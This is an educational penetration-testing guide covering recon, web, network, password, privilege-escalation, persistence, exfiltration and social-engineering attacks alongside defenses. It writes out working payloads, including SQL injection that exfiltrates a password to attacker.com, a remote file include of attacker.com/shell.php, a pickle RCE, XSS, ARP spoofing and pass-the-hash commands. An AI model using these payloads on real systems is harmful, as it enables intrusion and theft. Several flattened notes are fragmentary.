Definition. Penetration testing is an authorized, simulated attack against a system, network, or Application to identify exploitable vulnerabilities before adversaries do. The goal is not just Finding bugs — it is demonstrating impact and providing actionable remediation guidance.
Type Tester Knowledge Typical Use Case Strength Limitation Black box None provided Realistic adversarial simulation Tests detection and response Time-consuming, may miss deep issues White box Full access Thorough assessment of specific components Comprehensive coverage Does not test detection capabilities Gray box Partial (user) Balanced assessment with realistic constraints Efficient, realistic, focused testing May miss some attack vectors
Black box testing simulates an external attacker with no internal knowledge. The tester must Discover everything from scratch, which makes it the most realistic but also the most expensive in Terms of time. White box testing provides source code, credentials, architecture diagrams, and Network maps, enabling deeper analysis. Gray box provides limited credentials (e.g., a standard user Account) and partial documentation, striking a balance between realism and thoroughness.
Methodology Full Name Focus Area Key Characteristic OWASP Open Web Application Security Project Web applications Risk-based, community-driven, widely adopted PTES Penetration Testing Execution Standard Full-scope engagements Detailed phases, technical depth OSSTMM Open Source Security Testing Methodology Comprehensive security Metrics-driven, measures operational security NIST SP 800-115 Technical Guide to Information Security Testing Federal/compliance Process-oriented, aligned with FISMA ISSAF Information Systems Security Assessment Framework Broad IT security Detailed checklist approach
OWASP Testing Guide is the de facto standard for web application testing. It organizes tests Into information gathering, configuration management, identity management, authentication, Authorization, session management, input validation, error handling, cryptography, and business Logic.
PTES defines seven phases: pre-engagement, intelligence gathering, threat modeling, Vulnerability analysis, exploitation, post-exploitation, and reporting. Each phase has specific Technical requirements that must be met before progressing.
OSSTMM focuses on measuring the operational security of systems through a scientifically Rigorous methodology. It produces a Security Metrics Index (SMI) that quantifies security posture.
Scoping --> Recon --> Enumeration --> Vulnerability Analysis
Post-Exploitation <-- Exploitation <------------+
Reporting --> Remediation Support --> Retest
Scoping defines what is in scope (IP ranges, applications, functionality, testing windows), what Is out of scope (production databases, third-party systems, social engineering), rules of engagement (can the tester cause denial of service, can they attempt privilege escalation), and communication Procedures (how to report critical findings immediately).
Reconnaissance gathers information about the target through passive and active means.
Enumeration actively queries systems to identify services, versions, users, and configuration Details.
Vulnerability Analysis correlates enumeration data with known vulnerabilities and identifies Potential attack vectors.
Exploitation attempts to exploit identified vulnerabilities to demonstrate real-world impact.
Post-Exploitation explores what an attacker could do after gaining initial access — Persistence, lateral movement, data access.
Reporting documents findings with severity, impact, reproduction steps, and remediation Guidance.
Rules of engagement are a binding contract between the testing team and the client. They must be Documented and signed before testing begins.
- Authorized IP ranges / domains / applications
- Testing window (start/end times, time zones)
- Points of contact (technical, management, emergency)
- Out-of-scope systems (explicitly listed)
- Prohibited actions (DoS, social engineering, physical access)
- Data handling requirements (no exfiltration of PII)
- Incident response procedures (if systems are impacted)
- Status reporting cadence (daily standup, weekly summary)
- Critical finding escalation process (immediate notification)
Note
Sufficient. The authorization should specify scope, duration, and rules of engagement. Testing without explicit written authorization is illegal in most jurisdictions regardless of intent.
Penetration testing operates in a legal gray area that varies by jurisdiction. Key legal frameworks Include:
United States : Computer Fraud and Abuse Act (CFAA) — 18 U.S.C. Section 1030. Unauthorized access is a federal crime. Written authorization is the primary defense.United Kingdom : Computer Misuse Act 1990. Similar to CFAA, criminalizes unauthorized access.European Union : Varies by member state but generally follows the Budapest Convention on Cybercrime.Australia : Criminal Code Act 1995, Section 477.1.The authorization document should reference the specific systems, dates, and testers by name. Retain Copies of all communication and authorization documents.
Reconnaissance is the systematic collection of information about a target. It is the most critical Phase because the quality of intelligence gathered directly determines the effectiveness of Subsequent phases.
Passive reconnaissance collects information without directly interacting with the target system. The Target has no way of knowing it is being observed.
Open source intelligence leverages publicly available information to build a comprehensive picture of the target.
Source Information Gathered Tools WHOIS Registration details, name servers, registrant contacts whoisARIN, RIPE, APNICDNS Records Subdomains, mail servers, IP mappings, TXT records dig``dnsrecon``subfinderSearch Engines Indexed pages, exposed documents, cached content Google dorking, Shodan, Censys Social Media Employee names, roles, technology stack, office locations LinkedIn, GitHub, Twitter/X Job Postings Technology requirements, infrastructure details Indeed, LinkedIn Jobs, Greenhouse Code Repositories Leaked credentials, API keys, internal URLs, architecture GitHub, GitLab, Bitbucket Document Metadata Author names, software versions, internal paths exiftoolFOCA, MetagoofilCertificate Logs Subdomains, organizational structure crt.sh, Censys Certificate Search Pastebin/Leaks Exposed credentials, API keys, configuration files paste-bin-searchHaveIBeenPwned
DNS is one of the richest sources of passive intelligence. A single domain can reveal hundreds of Subdomains, each representing a potential attack surface.
## Zone transfer attempt (rarely works but worth checking)
dig axfr example.com @ns1.example.com
# Subdomain enumeration with brute force
dnsrecon -d example.com -t brt -D /usr/share/wordlists/dns.txt
# Passive subdomain discovery
subfinder -d example.com -silent
# Certificate transparency log search
curl -s " https://crt.sh/?q=%.example.com&output=json " | jq -r " .[].name_value' | sort -u
Note
Successful zone transfer reveals the complete internal DNS structure in a single request. Many Organizations still misconfigure internal DNS servers to allow transfers.
Google dorking uses advanced search operators to find sensitive information indexed by search Engines.
Operator Purpose Example site:Limit results to a domain site:example.com filetype:pdffiletype:Search for specific file types site:example.com filetype:envinurl:Search for URLs containing text inurl:admin site:example.comintitle:Search for pages with specific title intitle:"index of" site:example.comintext:Search for text within pages intext:"password" filetype:logext:File extension ext:sql site:example.comcache:View cached version of a page cache:example.com/adminlink:Pages linking to a URL link:example.com
Common high-value dorks:
site:example.com filetype:env OR filetype:yml OR filetype:conf
site:example.com filetype:log
site:example.com filetype:sql
intitle:"index of" site:example.com
intitle:"directory listing" site:example.com
inurl:login site:example.com
inurl:admin site:example.com
inurl:".git" site:example.com
site:example.com filetype:bak OR filetype:old OR filetype:swp
# Error messages revealing technology
"stack trace" site:example.com
"sql syntax" site:example.com
"warning:" site:example.com filetype:php
Shodan is a search engine for internet-connected devices. It scans the entire IPv4 space Continuously and indexes services, banners, and configurations.
# Search for specific services
shodan search " apache " country:US
shodan search " port:3389 " country:DE
shodan search " default password " product:nginx
# Search for specific vulnerabilities
shodan search " vuln:CVE-2021-44228 "
shodan search " ssl.cert.subject.CN:example.com "
# Find exposed industrial control systems
shodan search " Modbus " port:502
shodan search " Siemens " port:102
Caution
On jurisdiction. Always ensure you have authorization before actively scanning targets with any Tool, including Shodan queries against specific organizations.
Active reconnaissance involves direct interaction with the target. The target can detect and log this activity.
Nmap is the standard tool for network reconnaissance. It supports a wide range of scan types and can Identify running services, operating systems, and potential vulnerabilities.
# Scan all ports (1-65535)
# Service and version detection
# Operating system detection
# Aggressive scan (version + OS + script + traceroute)
# SYN scan (stealthy, default if root)
# UDP scan (slow but necessary for DNS, SNMP, etc.)
nmap -sU --top-ports 100 10.0.0.1
nmap --script vuln 10.0.0.1
nmap --script=http-enum 10.0.0.1
nmap --script=ssh-auth-methods 10.0.0.1
nmap -sn 10.0.0.0/24 # Ping sweep (discover live hosts)
nmap -p 22,80,443 10.0.0.0/24 # Quick scan of common ports
# Output formats for reporting
nmap -sV -oN scan_normal.txt -oX scan_xml.xml -oA scan_all 10.0.0.1
Scan Type Flag Description Stealth SYN Scan -sSHalf-open scan, completes TCP handshake partially Medium Connect Scan -sTFull TCP connection Low UDP Scan -sUSends UDP probes High FIN Scan -sFSends FIN packet only High NULL Scan -sNSends no flags High XMAS Scan -sXSends FIN, URG, PSH flags High ACK Scan -sASends ACK only (firewall testing) Medium Ping Sweep -snHost discovery without port scanning High
Caution
System you do not own or have permission to test violates computer misuse laws in most countries. Always verify scope before scanning.
After identifying open ports, the next step is determining what services are running and their Versions.
# Banner grabbing with netcat
# Banner grabbing with ncat
ncat --send-only 10.0.0.1 22 < /dev/null
smbclient -L //10.0.0.1 -N
snmpwalk -v1 -c public 10.0.0.1
snmpcheck -t 10.0.0.1 -c public
ldapsearch -x -H ldap://10.0.0.1 -s base namingContexts
ldapsearch -x -H ldap://10.0.0.1 -b " dc=example,dc=com " " (objectClass=user) " sAMAccountName
# Web application enumeration
gobuster dir -u http://10.0.0.1 -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.0.0.1/FUZZ -w /usr/share/wordlists/dirb/common.txt
SNMP is frequently misconfigured with default community strings, providing a treasure trove of Information.
# Common community strings: public, private, admin, cisco, switch
snmpwalk -v2c -c public 10.0.0.1 1.3.6.1.2.1.1
snmpwalk -v2c -c public 10.0.0.1 1.3.6.1.2.1.2.2.1
snmpwalk -v2c -c public 10.0.0.1 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -v2c -c public 10.0.0.1 1.3.6.1.2.1.25.6.3.1.2
snmpwalk -v2c -c public 10.0.0.1 1.3.6.1.2.1.6.13.1.3
# User accounts (on some systems)
snmpwalk -v2c -c public 10.0.0.1 1.3.6.1.4.1.77.1.2.25
Note
From “public” to something else, anyone who can capture network traffic can read it. Use SNMPv3 with Authentication and encryption if SNMP is required.
Automated vulnerability scanners compare system configurations and service versions against Databases of known vulnerabilities.
Scanner Type License Strengths Nessus Network/app Commercial Comprehensive plugin library, compliance checks OpenVAS Network/app Open source Free alternative to Nessus, Greenbone feed Nikto Web server Open source Web server misconfiguration detection OWASP ZAP Web application Open source Active/passive scanning, API testing Burp Suite Web application Commercial Intercepting proxy, extensibility Trivy Container/filesystem Open source CI/CD integration, SBOM generation Grype Container/filesystem Open source Fast vulnerability matching Semgrep SAST Open source Custom rules, multi-language support
# Access web interface at https://127.0.0.1:9392
nikto -h https://10.0.0.1 -ssl -Tuning x 6
trivy fs /path/to/application
trivy repo https://github.com/example/app
semgrep --config auto /path/to/source
semgrep --config p/ci /path/to/source
Automated scanners find known vulnerabilities in known software. Manual testing finds unknown Vulnerabilities, logic flaws, and chained attacks that scanners cannot detect.
When to use manual testing:
- Business logic flaws (e.g., negative quantity orders, race conditions in payments)
- Chained vulnerabilities (e.g., XSS + CSRF for account takeover)
- Authentication/authorization edge cases
- API testing beyond what scanners cover
- Cryptographic implementation flaws
- Session management issues
- Custom protocol testing
The Common Vulnerability Scoring System (CVSS) v3.1 provides a standardized framework for rating Vulnerability severity.
Metric Values Description Attack Vector Network / Adjacent / Local / Physical How the vulnerability is exploited Attack Complexity Low / High How complex the attack is Privileges Required None / Low / High Privileges needed before exploitation User Interaction None / Required Whether user action is needed Scope Unchanged / Changed Does exploitation affect other components Confidentiality None / Low / High Impact on data confidentiality Integrity None / Low / High Impact on data integrity Availability None / Low / High Impact on system availability
CVSS Score Severity Typical Response Time 0.0 None Informational 0.1 - 3.9 Low Next release cycle 4.0 - 6.9 Medium 30 days 7.0 - 8.9 High 7 days 9.0 - 10.0 Critical 24-48 hours
Note
Development server is less risky than a CVSS 7.5 vulnerability on an internet-facing authentication Service. Always combine CVSS with business context when prioritizing remediation.
Every vulnerability finding must be validated before reporting. False positives erode trust and Waste resources.
False positive reduction strategies:
1. Manual verification of every finding
2. Check the exact version (not just "Apache 2.x" but "Apache 2.4.51")
3. Test the exploit against the actual system
4. Check for compensating controls (WAF, IPS)
5. Verify the vulnerability is reachable (not blocked by network segmentation)
6. Cross-reference multiple sources (NVD, vendor advisory, exploit-db)
SQL injection occurs when user input is incorporated into SQL queries without proper sanitization or Parameterization.
1. Error-based: Extract data through database error messages
2. Union-based: Append UNION SELECT to extract additional data
3. Boolean-based blind: Infer data by observing true/false responses
4. Time-based blind: Infer data by observing response delays
5. Stacked queries: Execute multiple statements (limited by database)
6. Out-of-band: Extract data via DNS or HTTP channels
' OR 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' UNION SELECT username, password, NULL FROM users--
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE role= ' admin ' )= ' a ' --
' ; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username= ' admin ' )= ' a ' WAITFOR DELAY ' 0 : 0 : 5 ' --
# Out-of-band (Microsoft SQL Server)
' ; DECLARE @q VARCHAR(1024); SET @q= ' \ '+(SELECT TOP 1 password FROM users)+'.attacker.com\a';
EXEC master..xp_dirtree @ q --
# SQLMap -- the standard automated SQL injection tool
sqlmap -u " http://target.com/page?id=1 " --dbs
sqlmap -u " http://target.com/page?id=1 " -D dbname --tables
sqlmap -u " http://target.com/page?id=1 " -D dbname -T users --dump
sqlmap -u " http://target.com/page?id=1 " --cookie= " session=abc123 " --level=5 --risk=3
sqlmap -r request.txt # Read parameters from a captured request file
Type Context Storage Impact Reflected URL parameters None Session hijacking, phishing Stored Database, file Persistent Mass compromise, defacement DOM-based Client-side JS None Client-side logic manipulation
- Basic: <script>alert(1)</script>
- Event handler: <img src=x onerror=alert(1)>
- SVG: <svg onload=alert(1)>
- Template injection: {{constructor('alert(1)')()}}
- Attribute breakout: " onfocus=alert(1) autofocus="
- Encoded: %3Cscript%3Ealert(1)%3C/script%3E
- Polyglot: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//
CSRF tricks an authenticated user into executing unwanted actions on a web application where they are already authenticated.
<!-- Attacker's page that submits a form to the target -->
< form action = " https://bank.example.com/transfer " method = " POST " id = " csrf " >
< input type = " hidden " name = " to " value = " attacker_account " />
< input type = " hidden " name = " amount " value = " 10000 " />
document. getElementById ( ' csrf ' ). submit ();
Defenses:
Synchronizer Token Pattern (CSRF tokens) SameSite cookie attribute (Strict or Lax) Referer/Origin header validation Custom request headers (XHR/Fetch cannot set without CORS) SSRF occurs when an attacker can make the server send requests to arbitrary destinations.
- Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
- Internal network services (Redis on 6379, memcached on 11211)
- Internal web applications and admin panels
- Network infrastructure (routers, switches, firewalls)
- File systems via file:// protocol
- DNS rebinding to bypass allowlists
- IP encoding: 127.0.0.1 = 0x7f000001 = 2130706433 = 0177.0.0.1
- DNS rebinding: resolve to internal IP after allowlist check
- URL parsing tricks: http://allowed@internal:80/
- Redirect chains: http://allowed.com -> http://internal:80/
- IPv6: ::1, ::ffff:127.0.0.1
- Alternative metadata URLs: http://metadata.google.internal/
# Python pickle deserialization -- arbitrary code execution
return (os.system, ( ' id > /tmp/pwned ' ,))
payload = pickle.dumps(Exploit())
# When the server unpickles this: pickle.loads(payload) -> runs 'id'
// Java deserialization with Commons Collections
// ysoserial generates payloads that exploit gadget chains
java - jar ysoserial.jar CommonsCollections1 ' id ' > payload.bin
// Send payload to a Java RMI, JMX, or other deserializing endpoint
Path traversal sequences:
- ....// (double encoding bypass)
- %2e%2e%2f (URL encoding)
- %252e%252e%252f (double URL encoding)
- ..%c0%af (Unicode encoding)
- Local File Inclusion (LFI): include($_GET['file'])
- Remote File Inclusion (RFI): include('http://attacker.com/shell.php')
- PHP wrapper abuse: php://filter/convert.base64-encode/resource=index.php
1. Position between client and server (same network, BGP hijack, DNS compromise)
2. Ability to intercept traffic (ARP spoofing, rogue access point, compromised switch)
3. Ability to redirect traffic (ARP spoofing, DNS spoofing, route manipulation)
# ARP spoofing with arpspoof
arpspoof -i eth0 -t 10.0.0.5 10.0.0.1 # Poison victim's ARP cache for gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.5 # Poison gateway's ARP cache for victim
echo 1 > /proc/sys/net/ipv4/ip_forward # Enable IP forwarding
# Bettercap (modern alternative)
set arp.spoof.targets 10.0.0.5
ARP spoofing exploits the fact that ARP is stateless and does not verify the identity of responding Hosts. An attacker sends forged ARP responses to associate their MAC address with the target’s IP Address.
1. Static ARP entries (impractical at scale)
2. ARP monitoring tools (arpwatch, XArp)
3. Port security on switches (MAC limiting)
4. Dynamic ARP Inspection (DAI) on managed switches
5. Network segmentation to limit broadcast domains
# DNS spoofing with bettercap
set dns.spoof.domains target.com
set dns.spoof.address 10.0.0.100 # Attacker's IP
# DNS spoofing with dnsspoof
dnsspoof -i eth0 -f hosts.txt
# hosts.txt: 10.0.0.100 target.com
Attack Type Description Tools Brute Force Try every possible combination Hydra, Medusa, Patator Credential Stuffing Use leaked username/password pairs Sentry MBA, Snipr Password Spraying Try a few common passwords against many accounts CrackMapExec, SprayingToolkit Dictionary Attack Try words from a wordlist John the Ripper, Hashcat Rainbow Tables Precomputed hash lookups RainbowCrack, Ophcrack
# Hydra -- online brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.1
hydra -L users.txt -P passwords.txt http-post-form://10.0.0.1 " /login:user=^USER^&pass=^PASS^:Failed "
# CrackMapExec -- password spraying
crackmapexec smb 10.0.0.0/24 -u users.txt -p ' Summer2024! ' --continue-on-success
# Hashcat -- offline hash cracking
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # MD5
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # NTLM
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # bcrypt
# John the Ripper -- offline hash cracking
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Caution
Lockout from brute force testing can deny service to legitimate users. Always test against non-production accounts and verify lockout thresholds with the client.
Linux enumeration checklist:
1. Who am I? (id, whoami, sudo -l)
2. What kernel version? (uname -a, /proc/version)
3. What is running? (ps aux, top)
4. What runs at boot? (systemctl list-unit-files, /etc/init.d/)
5. What cron jobs exist? (crontab -l, /etc/cron.*, /var/spool/cron/)
6. What SUID binaries exist? (find / -perm -4000 -type f 2>/dev/null)
7. What SGID binaries exist? (find / -perm -2000 -type f 2>/dev/null)
8. What capabilities are set? (getcap -r / 2>/dev/null)
9. What is in PATH? Are there writable directories?
10. What files are world-writable? (find / -writable -type f 2>/dev/null)
11. What kernel modules are loaded? (lsmod)
12. Are there writable cron directories? (/etc/cron.d/, /var/spool/cron/crontabs/)
Common Linux privilege escalation vectors:
- find (exec commands), vim (shell escape), nmap (older versions)
- python/perl/ruby (import os; os.execl('/bin/bash','bash'))
- cp (overwrite /etc/passwd or /etc/shadow)
- Dirty COW (CVE-2016-5195)
- Dirty Pipe (CVE-2022-0847)
- PwnKit (CVE-2021-4034, Polkit pkexec)
- Check kernel version against exploit-db
- Writable scripts executed as root
- Writable cron.d directories
- PATH hijacking in cron jobs
- cap_setuid on binary (can set UID to root)
- cap_dac_override (bypass file read/write permissions)
- If NFS export has no_root_squash, files created as root on NFS share
retain root ownership on the NFS server
- sudo -l reveals allowed commands
- sudo less /etc/shadow (less has shell escape :!bash)
- sudo awk 'BEGIN{system("/bin/bash")}'
# Automated Linux enumeration
linux-exploit-suggester.sh
# GTFOBins -- lookup SUID binaries
# https://gtfobins.github.io/
Windows enumeration checklist:
1. Who am I? (whoami, whoami /priv, whoami /groups)
2. What patches are installed? (systeminfo, wmic qfe list)
3. What services are running? (sc query, Get-Service)
4. What services run as SYSTEM with unquoted paths?
5. What scheduled tasks exist? (schtasks /query, Get-ScheduledTask)
6. What DLLs are loaded by services with weak permissions?
7. Are there stored credentials? (cmdkey /list, runas /savecred)
8. What is in the registry autoruns? (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)
9. Are there always install elevated entries?
10. What network shares are available? (net share, net use)
Common Windows privilege escalation vectors:
- Potato family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato)
- Exploit SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
- Requires a service running as SYSTEM to trigger the exploit
- Service path: C:\Program Files\My Service\service.exe
- If unquoted and spaces exist, Windows tries: C:\Program.exe, C:\Program Files\My.exe
- Place malicious binary in writable location higher in the path
- Service loads DLL from directory writable by current user
- Place malicious DLL that will be loaded instead of legitimate one
- Tools: PowerUp, SharpUp, procmon to identify DLL search order
Weak registry permissions:
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Service registry keys (HKLM\SYSTEM\CurrentControlSet\Services)
- cmdkey /list shows saved credentials
- runas /savecred can reuse saved credentials
Pass-the-hash / Pass-the-ticket:
- Use Mimikatz to extract NTLM hashes or Kerberos tickets
- Use extracted credentials to authenticate as another user
# Automated Windows enumeration
# BloodHound -- AD attack path mapping
bloodhound-python -d domain.local -u user -p password -ns 10.0.0.1 -c all
Persistence ensures the attacker maintains access even if the initial vulnerability is patched or the system is rebooted.
Linux persistence:
1. SSH authorized keys: Add attacker's public key to ~/.ssh/authorized_keys
2. Cron jobs: Add reverse shell to crontab
3. Systemd services: Create malicious .service file in /etc/systemd/system/
4. Init.d scripts: Add startup script in /etc/init.d/
5. LD_PRELOAD: Create malicious shared library loaded before all others
6. Bashrc/profile: Add reverse shell to ~/.bashrc or /etc/profile
7. Rootkit: Kernel-level or userland rootkit ( Diamorphine, Reptile)
8. /etc/rc.local: Commands executed at boot
9. At jobs: Schedule execution with at command
10. cron.d: Drop file in /etc/cron.d/ with reverse shell
Windows persistence:
1. Registry Run keys: HKLM\...\Run, HKCU\...\Run
2. Scheduled tasks: schtasks /create /tn "Update" /tr "payload.exe" /sc onlogon
3. Services: sc create backdoor binPath= "payload.exe" start= auto
4. Startup folder: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
5. WMI event subscriptions: Permanent, survives reboots, fileless
6. DLL search order hijacking: Replace legitimate DLL
7. Image File Execution Options: Debugger attachment to legitimate binary
8. BITS jobs: Background Intelligent Transfer Service for persistence
9. PowerShell profiles: $PROFILE scripts execute when PowerShell starts
10. COM hijacking: Modify COM object registry keys
Lateral movement is the process of moving from one compromised system to additional systems within the network.
Technique Protocol/Tool Description Pass-the-Hash NTLM/SMB Authenticate with password hash, no cracking needed Pass-the-Ticket Kerberos Reuse Kerberos ticket-granting tickets WMI/PSExec RPC/SMB Remote command execution via Windows management WinRM/PS Remoting WinRM (5985/5986) PowerShell remoting over HTTP(S) RDP RDP (3389) Remote Desktop Protocol SSH SSH (22) Unix remote shell DCOM RPC Distributed Component Object Model Scheduled Tasks RPC Remotely create and execute tasks PsExec SMB Sysinternals tool for remote execution
# Pass-the-hash with Impacket
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee domain/user@10.0.0.1
impacket-wmiexec -hashes :aad3b435b51404eeaad3b435b51404ee domain/user@10.0.0.1
impacket-smbexec -hashes :aad3b435b51404eeaad3b435b51404ee domain/user@10.0.0.1
crackmapexec smb 10.0.0.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee -x " whoami "
crackmapexec smb 10.0.0.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee --sam
# BloodHound for AD lateral movement path analysis
SharpHound.exe -c All -d domain.local
# Analyze in BloodHound GUI to find shortest path to Domain Admin
1. DNS tunneling: Encode data in DNS queries/responses (dnscat2, iodine)
2. HTTPS: Encrypt exfiltrated data within legitimate-looking HTTPS traffic
3. ICMP tunneling: Embed data in ICMP echo requests/replies (icmpsh)
4. Steganography: Hide data within images or other files
5. Cloud storage: Upload to attacker-controlled cloud storage (AWS, Azure, GCP)
6. Email: Send data as email attachments or encoded in body
7. SSH: Use SSH tunnels for encrypted exfiltration
8. Web shell: Upload web shell and use it for data staging
9. Covert channels: Manipulate TCP/IP header fields (sequence numbers, timestamps)
10. File transfer: Use legitimate protocols (FTP, SCP, SFTP) during allowed windows
Exfiltration countermeasures:
- Network traffic analysis and anomaly detection
- Data Loss Prevention (DLP) systems
- DNS filtering and monitoring
- Egress filtering (deny all by default)
- TLS inspection (decrypt and inspect outbound HTTPS)
- File size and transfer rate monitoring
- USB port controls and endpoint protection
Anti-forensics techniques:
1. Log clearing: Delete or overwrite system and application logs
2. Timestamp manipulation: Modify file timestamps (timestomp in Metasploit)
3. History clearing: Remove shell history, browser history
4. Log injection: Inject misleading entries to confuse investigators
5. File deletion: Securely delete artifacts (shred, srm)
6. Rootkit deployment: Hide processes, files, and network connections
7. Event log clearing: wevtutil cl Security (Windows)
Caution
The full extent of what was accessed. Log entries are evidence that the test was performed and help Validate findings. Log clearing is also a strong indicator of malicious activity.
Framework License Language Key Features Cobalt Strike Commercial Java Beacon payload, Malleable C2, team collaboration Sliver Open source Go Implant generation, C2 over multiple protocols Mythic Open source Go/Python Agent-based, plugin architecture, opsec focused Metasploit Open source Ruby Exploit framework, meterpreter payload Empire Open source PowerShell PowerShell post-exploitation, lateral movement Covenant Open source C#/.NET .NET C2, reflective loading, evasion focused Havoc Open source C Evasion-focused, post-exploitation toolkit
C2 communication channels:
- HTTPS: Most common, looks like normal web traffic
- DNS: Resilient, works through most firewalls
- SMB: Blends with Windows file sharing traffic
- TCP: Raw TCP with custom protocol
- UDP: Less monitored, but unreliable
- WebSockets: Persistent connection over HTTP(S)
- gRPC: Looks like modern microservice traffic
- WireGuard: Encrypted tunnel for C2 over UDP
Definition. Social engineering is the manipulation of human psychology to influence people into Performing actions or divulging information that compromises security. It targets the human element, Which is consistently the weakest link in any security program.
Phishing is the most prevalent social engineering attack, accounting for the majority of initial Access vectors in reported breaches.
Type Target Description Deceptive phishing Broad audience Generic emails impersonating legitimate organizations Spear phishing Specific individual Targeted emails with personalized information Whaling C-level executives Highly targeted attacks against senior leadership Clone phishing Previous victims Duplicates legitimate emails previously received BEC Finance/HR Business Email Compromise — fraudulent wire transfers Vishing Phone Voice phishing — social engineering over phone calls Smishing SMS Phishing via text messages
Phishing campaign lifecycle:
1. Target selection: Identify individuals with access or authority
2. Intelligence gathering: LinkedIn, company website, public records
3. Payload development: Credential harvest page, malware attachment, malicious link
4. Infrastructure setup: Disposable domains, email accounts, hosting
5. Delivery: Send phishing emails (timing matters -- Monday morning, end of quarter)
6. Credential harvesting: Capture submitted credentials in real-time
7. Callback/2FA bypass: Use stolen credentials before victim notices, or proxy in real-time
8. Lateral movement: Use harvested credentials to access additional systems
Business Email Compromise (BEC) deserves special attention because it bypasses all technical Controls by targeting business processes rather than technology.
1. CEO fraud: Attacker impersonates CEO, requests urgent wire transfer
2. Vendor compromise: Attacker impersonates vendor, changes payment details
3. Attorney impersonation: Fake legal matter requiring immediate payment
4. HR/payroll diversion: Request to change direct deposit information
5. Tax W-2 fraud: Request employee tax forms (common in Q1)
- Sense of urgency ("ASAP", "immediately", "confidential")
- Slight domain variations (ceo@examp1e.com instead of ceo@example.com)
- Request to bypass normal procedures
- Unusual timing (after hours, weekends)
- Reply-to address differs from From address
Pretexting creates a fabricated scenario (a pretext) to obtain information or access. The attacker Adopts a persona — IT support, auditor, vendor, law enforcement — and constructs a believable Narrative.
- IT support: "We're investigating an issue with your account, I need your password to verify"
- Auditor: "I'm conducting a security audit and need access to verify compliance"
- Delivery person: "I have a package that requires a signature, please buzz me in"
- Contractor: "I'm here to service the HVAC system, I need access to the server room"
- Law enforcement: "We're investigating fraud and need your assistance"
- New employee: "I just started and don't have my badge yet, can you let me in?"
Baiting exploits curiosity or greed by offering something enticing that contains a malicious Payload.
- USB drops: Malicious USB drives labeled "Executive Salaries Q4" left in parking lot
- Malicious software: Free tools, pirated software, "game trainers" containing malware
- Fake job postings: Job applications that request sensitive information
- Gift cards: "You've won a $500 gift card, click here to claim"
- Infected media: CDs/DVDs labeled "Company Reorganization Plan" mailed to target
Tailgating (or piggybacking) is physically following an authorized person through a secured entrance without using credentials.
- Social pressure: "My hands are full, could you hold the door?"
- Authority: Wearing a fake uniform or badge, carrying fake equipment
- Distraction: Engaging the authorized person in conversation while entering
- Delivery: Carrying boxes that appear to be deliveries
- Emergency: Claiming an emergency situation requiring immediate access
1. Caller ID spoofing: Display legitimate phone numbers
2. IVR (Interactive Voice Response) systems: Fake automated phone systems
3. Voice deepfakes: AI-generated voice cloning of executives
4. SIP trunking: VoIP calls from arbitrary source numbers
5. Call forwarding manipulation: Redirect victim's calls to attacker
Quid pro quo attacks offer a benefit in exchange for information or access.
- "I'll help you fix your computer if you give me your login"
- Free IT support call that installs remote access tools
- Survey offering gift cards in exchange for corporate credentials
- Conference booth offering free merchandise for completing a form with work email
Principle Application in Social Engineering Authority Impersonating executives, IT staff, law enforcement Urgency ”Your account will be locked in 24 hours” Scarcity ”Limited time offer”, “Only 3 remaining” Social Proof ”All your colleagues have already completed this” Reciprocity Free gift or favor creating obligation Fear ”Security breach detected, verify your credentials” Curiosity USB drives labeled “Employee Salaries” Trust Compromising known contacts to send from their account
- Email filtering (SPF, DKIM, DMARC)
- URL sandboxing and reputation checking
- Multi-factor authentication (prevents credential replay)
- Conditional access policies
- Browser isolation for untrusted links
- DNS filtering (block known malicious domains)
- External email tagging ("External" banner on external emails)
- Regular security awareness training (quarterly minimum)
- Phishing simulation exercises (track click rates over time)
- Clear reporting procedures (easy way to report suspicious emails)
- Verification procedures for financial transactions (out-of-band confirmation)
- Physical access controls (mantraps, badge readers, visitor management)
- Incident response plan for social engineering attacks
- Culture that rewards reporting rather than punishing victims
Note
Reporting suspicious activity without fear of punishment. If an employee clicks a phishing link, the Response should be “thank you for reporting it” not “how could you be so careless.” Blame-driven Cultures suppress reporting, which means real attacks go undetected longer.
Definition. A software supply chain attack targets the dependencies, build systems, or Distribution channels of software rather than the software itself. The attacker compromises a Trusted component, and that compromise propagates to every downstream consumer.
Typosquatting registers package names that are common misspellings of popular packages. When Developers mistype a package name, they install the attacker’s package instead.
Example typosquatting targets:
- "reqeusts" instead of "requests" (Python)
- "lodssh" instead of "lodash" (JavaScript)
- "cross-env" -> "cross-env.js" (JavaScript, empty package with name collision)
- "python3-dateutil" instead of "python-dateutil" (Python)
- Use dependency lockfiles (package-lock.json, Pipfile.lock, Cargo.lock)
- Review new dependencies before adding them
- Monitor package registries for packages with similar names
- Use tools like `npm audit`, `pip-audit`, `cargo audit`
Dependency confusion exploits package managers that check both public and private registries. An Attacker publishes a higher-versioned package on the public registry with the same name as an Internal package.
1. Developer's project depends on "internal-utils" version 1.0.0 (private registry)
2. Attacker publishes "internal-utils" version 99.0.0 on public registry (npm/PyPI)
3. Package manager resolves to the public version (higher version number)
4. Developer's build now includes attacker's code
- Configure package managers to prefer private registries (npm: .npmrc, pip: --index-url)
- Use scoped packages (npm @company/package)
- Implement package allowlists
- Monitor public registries for internal package names
- Use SLSA framework for build provenance
Attackers gain access to a legitimate maintainer’s account and publish malicious versions of trusted Packages.
- Credential theft of maintainer accounts
- Social engineering of maintainers
